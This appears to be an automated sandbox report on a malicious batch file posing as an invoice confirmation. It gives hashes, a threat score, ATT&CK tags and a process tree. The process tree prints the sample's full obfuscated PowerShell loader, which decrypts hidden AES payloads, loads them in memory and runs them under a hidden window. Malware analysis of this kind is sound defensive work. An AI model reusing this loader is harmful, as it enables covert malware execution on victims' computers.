92dabaf9d4995f7238d9f570641d227ba5a5f7199813f976bd0b4fcc0abd3435

Analysis

max time kernel
117s
max time network
123s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
03/06/2024, 16:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
InvoiceConfirmation3.bat
Size 540KB
Sample240603-t3btcsdf78
SHA256 18ff8049e5eac05d3f1bf7d414664845edd76f5393630aa463566476e45b9985
MD5 af29b01f9517f84f7d1794a3c5a987d5
SHA1 17f8776ea38c0eb07915cf1ab4e52a2c87ec70cd
SHA512 29afff43ff59985eb4d65463cf7b8eaa6a82ae508cce66222707cab084d25bed77a45b7f85ec13e91545827f76bde014794b7ccf77f0df44b815df6b8d76953d
SSDEEP 12288:2Nu+DeVdU51H++iCBdiQslfVMLOzcU+MEJXMHwXUIXkZsCSbluwG9XJec8SmC:t+aVK51HzBdeqLOIM8XfUXFYk7
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2424	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 2464	1752	cmd.exe	29
PID 1752 wrote to memory of 2464	1752	cmd.exe	29
PID 1752 wrote to memory of 2464	1752	cmd.exe	29
PID 1752 wrote to memory of 2448	1752	cmd.exe	30
PID 1752 wrote to memory of 2448	1752	cmd.exe	30
PID 1752 wrote to memory of 2448	1752	cmd.exe	30
PID 1752 wrote to memory of 2424	1752	cmd.exe	31
PID 1752 wrote to memory of 2424	1752	cmd.exe	31
PID 1752 wrote to memory of 2424	1752	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSf4SfWusxtAoXnZPWK7HVx3v2wBNCa20+NeGFjqXZU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0aLcTPofevxAgYIfoL8llg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Qsygn=New-Object System.IO.MemoryStream(,$param_var); $VECRT=New-Object System.IO.MemoryStream; $UXUkR=New-Object System.IO.Compression.GZipStream($Qsygn, [IO.Compression.CompressionMode]::Decompress); $UXUkR.CopyTo($VECRT); $UXUkR.Dispose(); $Qsygn.Dispose(); $VECRT.Dispose(); $VECRT.ToArray();}function execute_function($param_var,$param2_var){ $bGuEF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IjeaD=$bGuEF.EntryPoint; $IjeaD.Invoke($null, $param2_var);}$QcPvT = 'C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat';$host.UI.RawUI.WindowTitle = $QcPvT;$IZHJg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QcPvT).Split([Environment]::NewLine);foreach ($obaKw in $IZHJg) { if ($obaKw.StartsWith('WMpdAaneLcTpTiRReCou')) { $wlgPh=$obaKw.Substring(20); break; }}$payloads_var=[string[]]$wlgPh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2424-4-0x000007FEF56CE000-0x000007FEF56CF000-memory.dmp

Download

memory/2424-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Download

memory/2424-8-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

Download

memory/2424-7-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

Download

memory/2424-6-0x0000000002810000-0x0000000002818000-memory.dmp

Download

memory/2424-9-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

Download

memory/2424-10-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

Download

memory/2424-11-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

Download

memory/2424-12-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

Download

memory/2424-13-0x000007FEF56CE000-0x000007FEF56CF000-memory.dmp

Download